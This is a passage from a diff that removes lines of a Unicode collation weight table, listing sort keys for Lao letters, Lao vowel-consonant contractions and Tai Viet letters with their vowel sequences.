-0EC0 0E9F ; [.2CB6.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER FO SUNG>
-0EC1 0E9F ; [.2CB6.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER FO SUNG>
-0EC2 0E9F ; [.2CB6.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER FO SUNG>
-0EC3 0E9F ; [.2CB6.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER FO SUNG>
-0EC4 0E9F ; [.2CB6.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER FO SUNG>
-0EA1  ; [.2CB7.0020.0002] # LAO LETTER MO
-0EC0 0EA1 ; [.2CB7.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER MO>
-0EC1 0EA1 ; [.2CB7.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER MO>
-0EC2 0EA1 ; [.2CB7.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER MO>
-0EC3 0EA1 ; [.2CB7.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER MO>
-0EC4 0EA1 ; [.2CB7.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER MO>
-0EA2  ; [.2CB8.0020.0002] # LAO LETTER YO
-0EC0 0EA2 ; [.2CB8.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER YO>
-0EC1 0EA2 ; [.2CB8.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER YO>
-0EC2 0EA2 ; [.2CB8.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER YO>
-0EC3 0EA2 ; [.2CB8.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER YO>
-0EC4 0EA2 ; [.2CB8.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER YO>
-0EA3  ; [.2CB9.0020.0002] # LAO LETTER LO LING
-0EC0 0EA3 ; [.2CB9.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER LO LING>
-0EC1 0EA3 ; [.2CB9.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER LO LING>
-0EC2 0EA3 ; [.2CB9.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER LO LING>
-0EC3 0EA3 ; [.2CB9.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER LO LING>
-0EC4 0EA3 ; [.2CB9.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER LO LING>
-0EA5  ; [.2CBA.0020.0002] # LAO LETTER LO LOOT
-0EC0 0EA5 ; [.2CBA.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER LO LOOT>
-0EC1 0EA5 ; [.2CBA.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER LO LOOT>
-0EC2 0EA5 ; [.2CBA.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER LO LOOT>
-0EC3 0EA5 ; [.2CBA.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER LO LOOT>
-0EC4 0EA5 ; [.2CBA.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER LO LOOT>
-0EA7  ; [.2CBB.0020.0002] # LAO LETTER WO
-0EC0 0EA7 ; [.2CBB.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER WO>
-0EC1 0EA7 ; [.2CBB.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER WO>
-0EC2 0EA7 ; [.2CBB.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER WO>
-0EC3 0EA7 ; [.2CBB.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER WO>
-0EC4 0EA7 ; [.2CBB.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER WO>
-0EAB  ; [.2CBC.0020.0002] # LAO LETTER HO SUNG
-0EDC  ; [.2CBC.0020.0004][.2CB0.0020.0004] # LAO HO NO
-0EC0 0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO HO NO>
-0EC1 0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO HO NO>
-0EC2 0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO HO NO>
-0EC3 0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO HO NO>
-0EC4 0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO HO NO>
-0EDD  ; [.2CBC.0020.0004][.2CB7.0020.0004] # LAO HO MO
-0EC0 0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO HO MO>
-0EC1 0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO HO MO>
-0EC2 0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO HO MO>
-0EC3 0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO HO MO>
-0EC4 0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO HO MO>
-0EC0 0EAB ; [.2CBC.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER HO SUNG>
-0EC1 0EAB ; [.2CBC.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER HO SUNG>
-0EC2 0EAB ; [.2CBC.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER HO SUNG>
-0EC3 0EAB ; [.2CBC.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER HO SUNG>
-0EC4 0EAB ; [.2CBC.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER HO SUNG>
-0EAD  ; [.2CBD.0020.0002] # LAO LETTER O
-0EC0 0EAD ; [.2CBD.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER O>
-0EC1 0EAD ; [.2CBD.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER O>
-0EC2 0EAD ; [.2CBD.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER O>
-0EC3 0EAD ; [.2CBD.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER O>
-0EC4 0EAD ; [.2CBD.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER O>
-0EAE  ; [.2CBE.0020.0002] # LAO LETTER HO TAM
-0EC0 0EAE ; [.2CBE.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER HO TAM>
-0EC1 0EAE ; [.2CBE.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER HO TAM>
-0EC2 0EAE ; [.2CBE.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER HO TAM>
-0EC3 0EAE ; [.2CBE.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER HO TAM>
-0EC4 0EAE ; [.2CBE.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER HO TAM>
-0EAF  ; [.2CBF.0020.0002] # LAO ELLIPSIS
-0EB0  ; [.2CC0.0020.0002] # LAO VOWEL SIGN A
-0EB1  ; [.2CC1.0020.0002] # LAO VOWEL SIGN MAI KAN
-0EB2  ; [.2CC2.0020.0002] # LAO VOWEL SIGN AA
-0EB3  ; [.2CC3.0020.0002] # LAO VOWEL SIGN AM
-0ECD 0EB2 ; [.2CC3.0020.0002] # LAO VOWEL SIGN AM
-0EB4  ; [.2CC4.0020.0002] # LAO VOWEL SIGN I
-0EB5  ; [.2CC5.0020.0002] # LAO VOWEL SIGN II
-0EB6  ; [.2CC6.0020.0002] # LAO VOWEL SIGN Y
-0EB7  ; [.2CC7.0020.0002] # LAO VOWEL SIGN YY
-0EB8  ; [.2CC8.0020.0002] # LAO VOWEL SIGN U
-0EB9  ; [.2CC9.0020.0002] # LAO VOWEL SIGN UU
-0EBB  ; [.2CCA.0020.0002] # LAO VOWEL SIGN MAI KON
-0EBC  ; [.2CCB.0020.0002] # LAO SEMIVOWEL SIGN LO
-0EBD  ; [.2CCC.0020.0002] # LAO SEMIVOWEL SIGN NYO
-0EC0  ; [.2CCD.0020.0002] # LAO VOWEL SIGN E
-0EC1  ; [.2CCE.0020.0002] # LAO VOWEL SIGN EI
-0EC2  ; [.2CCF.0020.0002] # LAO VOWEL SIGN O
-0EC3  ; [.2CD0.0020.0002] # LAO VOWEL SIGN AY
-0EC4  ; [.2CD1.0020.0002] # LAO VOWEL SIGN AI
-AA80  ; [.2CD2.0020.0002] # TAI VIET LETTER LOW KO
-AAB5 AA80 ; [.2CD2.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW KO>
-AAB6 AA80 ; [.2CD2.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW KO>
-AAB9 AA80 ; [.2CD2.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW KO>
-AABB AA80 ; [.2CD2.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW KO>
-AABC AA80 ; [.2CD2.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW KO>
-AA81  ; [.2CD3.0020.0002] # TAI VIET LETTER HIGH KO
-AAB5 AA81 ; [.2CD3.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH KO>
-AAB6 AA81 ; [.2CD3.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH KO>
-AAB9 AA81 ; [.2CD3.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH KO>
-AABB AA81 ; [.2CD3.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH KO>
-AABC AA81 ; [.2CD3.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH KO>
-AA82  ; [.2CD4.0020.0002] # TAI VIET LETTER LOW KHO
-AAB5 AA82 ; [.2CD4.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW KHO>
-AAB6 AA82 ; [.2CD4.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW KHO>
-AAB9 AA82 ; [.2CD4.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW KHO>
-AABB AA82 ; [.2CD4.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW KHO>
-AABC AA82 ; [.2CD4.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW KHO>
-AA83  ; [.2CD5.0020.0002] # TAI VIET LETTER HIGH KHO
-AAB5 AA83 ; [.2CD5.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH KHO>
-AAB6 AA83 ; [.2CD5.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH KHO>
-AAB9 AA83 ; [.2CD5.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH KHO>
-AABB AA83 ; [.2CD5.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH KHO>
-AABC AA83 ; [.2CD5.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH KHO>
-AA84  ; [.2CD6.0020.0002] # TAI VIET LETTER LOW KHHO
-AAB5 AA84 ; [.2CD6.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW KHHO>
-AAB6 AA84 ; [.2CD6.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW KHHO>
-AAB9 AA84 ; [.2CD6.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW KHHO>
-AABB AA84 ; [.2CD6.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW KHHO>
-AABC AA84 ; [.2CD6.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW KHHO>
-AA85  ; [.2CD7.0020.0002] # TAI VIET LETTER HIGH KHHO
-AAB5 AA85 ; [.2CD7.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH KHHO>
-AAB6 AA85 ; [.2CD7.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH KHHO>
-AAB9 AA85 ; [.2CD7.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH KHHO>
-AABB AA85 ; [.2CD7.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH KHHO>
-AABC AA85 ; [.2CD7.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH KHHO>
-AA86  ; [.2CD8.0020.0002] # TAI VIET LETTER LOW GO
-AAB5 AA86 ; [.2CD8.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW GO>
-AAB6 AA86 ; [.2CD8.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW GO>
-AAB9 AA86 ; [.2CD8.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW GO>
-AABB AA86 ; [.2CD8.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW GO>
-AABC AA86 ; [.2CD8.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW GO>
-AA87  ; [.2CD9.0020.0002] # TAI VIET LETTER HIGH GO
-AAB5 AA87 ; [.2CD9.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH GO>
-AAB6 AA87 ; [.2CD9.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH GO>
-AAB9 AA87 ; [.2CD9.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH GO>
-AABB AA87 ; [.2CD9.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH GO>
-AABC AA87 ; [.2CD9.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH GO>
-AA88  ; [.2CDA.0020.0002] # TAI VIET LETTER LOW NGO
-AAB5 AA88 ; [.2CDA.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW NGO>
-AAB6 AA88 ; [.2CDA.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW NGO>
-AAB9 AA88 ; [.2CDA.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW NGO>
-AABB AA88 ; [.2CDA.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW NGO>
-AABC AA88 ; [.2CDA.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW NGO>
-AA89  ; [.2CDB.0020.0002] # TAI VIET LETTER HIGH NGO
-AAB5 AA89 ; [.2CDB.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH NGO>
-AAB6 AA89 ; [.2CDB.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH NGO>
-AAB9 AA89 ; [.2CDB.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH NGO>
-AABB AA89 ; [.2CDB.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH NGO>
-AABC AA89 ; [.2CDB.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH NGO>
-AA8A  ; [.2CDC.0020.0002] # TAI VIET LETTER LOW CO
-AAB5 AA8A ; [.2CDC.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW CO>
-AAB6 AA8A ; [.2CDC.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW CO>
-AAB9 AA8A ; [.2CDC.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW CO>
-AABB AA8A ; [.2CDC.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW CO>
-AABC AA8A ; [.2CDC.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW CO>
-AA8B  ; [.2CDD.0020.0002] # TAI VIET LETTER HIGH CO
-AAB5 AA8B ; [.2CDD.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH CO>
-AAB6 AA8B ; [.2CDD.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH CO>
-AAB9 AA8B ; [.2CDD.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH CO>
-AABB AA8B ; [.2CDD.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH CO>
-AABC AA8B ; [.2CDD.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH CO>
-AA8C  ; [.2CDE.0020.0002] # TAI VIET LETTER LOW CHO
-AAB5 AA8C ; [.2CDE.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW CHO>
-AAB6 AA8C ; [.2CDE.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW CHO>
-AAB9 AA8C ; [.2CDE.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW CHO>
-AABB AA8C ; [.2CDE.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW CHO>
-AABC AA8C ; [.2CDE.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW CHO>
-AA8D  ; [.2CDF.0020.0002] # TAI VIET LETTER HIGH CHO
-AAB5 AA8D ; [.2CDF.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH CHO>
-AAB6 AA8D ; [.2CDF.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH CHO>
-AAB9 AA8D ; [.2CDF.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH CHO>
-AABB AA8D ; [.2CDF.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH CHO>
-AABC AA8D ; [.2CDF.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH CHO>
-AA8E  ; [.2CE0.0020.0002] # TAI VIET LETTER LOW SO
-AAB5 AA8E ; [.2CE0.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW SO>
-AAB6 AA8E ; [.2CE0.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW SO>
-AAB9 AA8E ; [.2CE0.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW SO>
-AABB AA8E ; [.2CE0.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW SO>
-AABC AA8E ; [.2CE0.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW SO>
-AA8F  ; [.2CE1.0020.0002] # TAI VIET LETTER HIGH SO
-AAB5 AA8F ; [.2CE1.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH SO>
-AAB6 AA8F ; [.2CE1.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH SO>
-AAB9 AA8F ; [.2CE1.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH SO>
-AABB AA8F ; [.2CE1.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH SO>
-AABC AA8F ; [.2CE1.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH SO>
-AA90  ; [.2CE2.0020.0002] # TAI VIET LETTER LOW NYO
-AAB5 AA90 ; [.2CE2.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW NYO>
-AAB6 AA90 ; [.2CE2.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW NYO>
-AAB9 AA90 ; [.2CE2.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW NYO>
-AABB AA90 ; [.2CE2.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW NYO>
-AABC AA90 ; [.2CE2.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW NYO>
-AA91  ; [.2CE3.0020.0002] # TAI VIET LETTER HIGH NYO
-AAB5 AA91 ; [.2CE3.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH NYO>
-AAB6 AA91 ; [.2CE3.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH NYO>
-AAB9 AA91 ; [.2CE3.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH NYO>
-AABB AA91 ; [.2CE3.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH NYO>
-AABC AA91 ; [.2CE3.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH NYO>
-AA92  ; [.2CE4.0020.0002] # TAI VIET LETTER LOW DO
-AAB5 AA92 ; [.2CE4.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW DO>
-AAB6 AA92 ; [.2CE4.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW DO>
-AAB9 AA92 ; [.2CE4.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW DO>
-AABB AA92 ; [.2CE4.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW DO>
-AABC AA92 ; [.2CE4.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW DO>
-AA93  ; [.2CE5.0020.0002] # TAI VIET LETTER HIGH DO
-AAB5 AA93 ; [.2CE5.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH DO>
-AAB6 AA93 ; [.2CE5.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH DO>
-AAB9 AA93 ; [.2CE5.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH DO>
-AABB AA93 ; [.2CE5.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH DO>
-AABC AA93 ; [.2CE5.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH DO>
-AA94  ; [.2CE6.0020.0002] # TAI VIET LETTER LOW TO
-AAB5 AA94 ; [.2CE6.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW TO>
-AAB6 AA94 ; [.2CE6.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW TO>
-AAB9 AA94 ; [.2CE6.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW TO>
-AABB AA94 ; [.2CE6.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW TO>
-AABC AA94 ; [.2CE6.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW TO>
-AA95  ; [.2CE7.0020.0002] # TAI VIET LETTER HIGH TO
-AAB5 AA95 ; [.2CE7.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH TO>
-AAB6 AA95 ; [.2CE7.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH TO>
-AAB9 AA95 ; [.2CE7.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH TO>
-AABB AA95 ; [.2CE7.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH TO>
-AABC AA95 ; [.2CE7.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH TO>
-AA96  ; [.2CE8.0020.0002] # TAI VIET LETTER LOW THO
-AAB5 AA96 ; [.2CE8.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW THO>
-AAB6 AA96 ; [.2CE8.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW THO>
-AAB9 AA96 ; [.2CE8.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW THO>
-AABB AA96 ; [.2CE8.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW THO>
-AABC AA96 ; [.2CE8.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW THO>
-AA97  ; [.2CE9.0020.0002] # TAI VIET LETTER HIGH THO
-AAB5 AA97 ; [.2CE9.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH THO>
-AAB6 AA97 ; [.2CE9.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH THO>
-AAB9 AA97 ; [.2CE9.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH THO>
-AABB AA97 ; [.2CE9.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH THO>
-AABC AA97 ; [.2CE9.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH THO>
-AA98  ; [.2CEA.0020.0002] # TAI VIET LETTER LOW NO
-AAB5 AA98 ; [.2CEA.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW NO>
-AAB6 AA98 ; [.2CEA.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW NO>
-AAB9 AA98 ; [.2CEA.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW NO>
-AABB AA98 ; [.2CEA.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW NO>
-AABC AA98 ; [.2CEA.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW NO>
-AA99  ; [.2CEB.0020.0002] # TAI VIET LETTER HIGH NO
-AAB5 AA99 ; [.2CEB.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH NO>
-AAB6 AA99 ; [.2CEB.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH NO>
-AAB9 AA99 ; [.2CEB.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH NO>
-AABB AA99 ; [.2CEB.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH NO>
-AABC AA99 ; [.2CEB.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH NO>
-AA9A  ; [.2CEC.0020.0002] # TAI VIET LETTER LOW BO
